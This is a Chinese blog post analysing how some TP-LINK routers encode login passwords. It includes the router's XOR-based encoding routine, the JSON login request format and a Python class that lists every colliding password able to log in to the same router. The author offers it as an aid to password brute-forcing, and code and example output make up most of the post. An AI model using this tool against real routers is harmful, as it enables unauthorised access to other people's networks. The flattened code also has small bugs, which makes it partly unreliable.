admin 管理员组文章数量: 887006
1.先说结论:
1,在密码组合是数字大小写字母的情况下。加密有截断作用,7-13位密码及16位以上没有其它长度的密码,13-15位有少量其它长度的密码。就是随着密码越长,密码组合也越多,但有长度限制。从下表中一定有你的密码
可以百度搜索10秒破某tp路由。你会更好理解。如:
此密码 66ULYn 的密文为: H4H1dqhc9TefbwK 长度为 6 位
此密码长度小于13位,没有比它长的密码。
此密码长度等于 6 位长度的密文的密码有: 240 个,总共有 240 个密码. 集合为:
['6Mw', '6orWz', 'oU', 'Ly', 'uY', 'nz'] 结束!
当您密码为66ULYn,以上集合任意组合密码都能登录您的路由器,很神奇吧。这就是加密算法带来的小漏洞。代码后面给出,会自动生成上面的表格。
本人小白。如有错误,欢迎批判。希望对你的密码爆破有帮助!
2.过程及实现代码:
tp-link 登录提交方式
- POST {"method":"do","login":{"password":"WbZ6onhc9TefbwK"}}
- 路由器加密代码:
-
short = "RDpbLfCPsJZ7fiv" # a Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW' # c #PawD = '123456@...' PawD = 'd52533' # b # ord与JS的charCodeAt方法类似,返回指定位置的字符的 Unicode 编码 def encrypt_passwd(a, b, c): e = '' f, g, h, k, l = 187, 187, 187, 187, 187 n = 187 g = len(a) h = len(b) k = len(c) if g > h: f = g else: f = h for p in list(range(0, f)): n = l = 187 if p >= g: n = ord(b[p]) else: if p >= h: l = ord(a[p]) else: l = ord(a[p]) n = ord(b[p]) e += c[(l ^ n) % k] #print (e) return e pw=encrypt_passwd(short, PawD, Lng)
Python代码:
-
import pandas as pd import os class Getmmjh: short = "RDpbLfCPsJZ7fiv" # a Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW' # c lns = len(Lng) my = '012345hc9TefbwK' def __init__(self, mima): self.mima = mima #获取密码集合 def get_pddata(self): # 定义实例方法 short=self.short Lng=self.Lng new_s = list(set(Lng)) # 转换为集合再转换为列表 Lng = "".join(set(new_s)) if os.path.exists('./mmjh.csv'): df = pd.read_csv('mmjh.csv', index_col=0) #print(df) return df else: ls=[] for s in short:#s为列名 dic ={} for k in Lng:# k为行名 l = ord(s) st = self.jisuan(l,k) if st == '': continue dic[k]=st df=pd.DataFrame(dic.values(),index=dic.keys(),columns=[s]) print(df,'\n','@@@@@@@@@@@@@@@@@@@@@@@@@@@') ls.append(df) df=pd.concat(ls,axis=1,join='outer') df.to_csv('./mmjh.csv') return df def jisuan(self,l,word,n=1): Lng = self.Lng yy = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz" st = '' if l == 187: gg = (l ^ n) % self.lns for y in yy: if Lng[gg] == word: st += y else: for y in yy: n = ord(y) gg = (l ^ n) % self.lns if Lng[gg] == word: st += y return st def getpd(self,miwen,ml): df = self.get_pddata() short =self.short ls = [] cj = 1 if ml >15: ml=15 for i in range(ml): n = short[i] m = miwen[i] st = df.loc[m, n] ls.append(st) cj *= len(st) return cj,ls # 计算比它长度还大的集合 def dachang(self,miwen,ml,cj,ls): df = self.get_pddata() dcj = 1 dls = [] sm =0 for k in range(15 - ml, 0, -1): m = miwen[-k] n = self.short[-k] st = df.loc[m, n] dcj *= len(st) dls.append(st) ls += dls cj *= dcj sm += cj print(16 - k, '位长度的密文的密码有:', cj, '个集合为:', '\n', ls) return sm # 计算比它长度还小的集合 def xchang(self,miwen,ml,cj,ls): df = self.get_pddata() dcj = 1 dls = ls sm = cj for i in range(ml - 17, -11, -1): m = miwen[i] if m == self.my[i]: st = df.loc[m, self.short[i]] dcj *= len(st) dls.append(st) dls += ls cj *= dcj sm += cj print(16 + i, '位长度的密文的密码有:', sm, '个集合为:', '\n', dls) else: print('此密码没有比', 16 + i, '位长度还短的密码!总共有', sm, '个密码.' ,'集合为:', '\n', ls, '结束!') break if i == -10: cj6,ls6 = self.getpd(miwen,6) dls += ls6 sm += cj6 print('6位长度的密文的密码有:', sm, '个,总共有', sum, '个密码.','集合为:', '\n', ls, '结束!') # 加密方法 def encrypt_passwd(self, b):#加密方法 a=self.short c=self.Lng e = '' f, g, h, k, l = 187, 187, 187, 187, 187 n = 187 g = len(a) h = len(b) k = len(c) if g > h: f = g else: f = h for p in list(range(0, f)): n = l = 187 if p >= g:#15 n = ord(b[p]) else: if p >= h: l = ord(a[p]) else: l = ord(a[p]) n = ord(b[p]) e += c[(l ^ n) % k] # print (e) return e def mwei(self): mima = self.mima ''' if not re.fullmatch(r'[a-z0-9]+', mima): print('密码不是数字或小字母,请重新输入密码!') return ''' my = self.my miwen = self.encrypt_passwd(mima) ml = len(mima) print('此密码',mima,'的密文为:', miwen, '长度为', ml, '位') cj, ls = self.getpd(miwen, ml) if ml > 15: dcj = 1 dls=[] for s in range(ml-15,0): word = miwen[-s] n = ord(word) l = 187 st= self.jisuan(l,word,n) dls.append(st) dcj *=len(st) ls +=dls cj *= dcj print('此密码位数大于15,没有其它长度的密码。其中相同', ml, '位长度的密文的密码有:', cj, '个','集合为:', '\n', ls, '结束!') elif ml < 6: print('您的密码小于6位,请重新输入') else: while True: nn = miwen[ml - 16] #计算比它长度还大的集合 if ml >= 13: sm = self.dachang(miwen, ml, cj, ls) else: print('此密码长度小于13位,没有比它长的密码。') if ml == 6: print('此密码长度等于', ml, '位长度的密文的密码有:', cj, '个,总共有', cj, '个密码.', '集合为:', '\n', ls, '结束!') break if nn != my[ml - 16]: if ml <13: print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj, '个密码.', '集合为:', '\n', ls, '结束!') else: print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj + sm, '个密码.','集合为:', '\n', ls, '结束!') break else: print('此密码长度等于', ml, '有相同长度密文的密码有', cj, '个密码.', '集合为:', '\n', ls) if ml >=13: cj +=sm # 计算比它长度还小的集合 self.xchang(miwen, ml, cj, ls) if __name__ == "__main__": #数字或小写字母,不然会报错,除非您改进,修改yy = '0123456789abcdefghijklmnopqrstuvwxyz' PWD = '66ULYn' Getmmjh(PWD).mwei() ''' #计算9-15位hc9TefbwK有没有数字或小写字母,只有长度为13-15时才有可能有 yy = '0123456789abcdefghijklmnopqrstuvwxyz' Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW' yy2 = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz~!@#$%^&*()_+-=[]{}|;':\,.<>/?" short = "RDpbLfCPsJZ7fiv" ss = 'vUJLv7hc9TefbwK' for i in range(-9,0): e1=ss[i] s='' for k in yy: n = ord(k) l = ord(short[i]) gg = (l ^ n) % 187 e =Lng[gg] if e == e1: s +=k print('在',i,'位上有:',s)'''
版权声明:本文标题:某些TP-LINK路由器登录密码加密方式研究,Python找所有密码集合 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1728998044h1305013.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论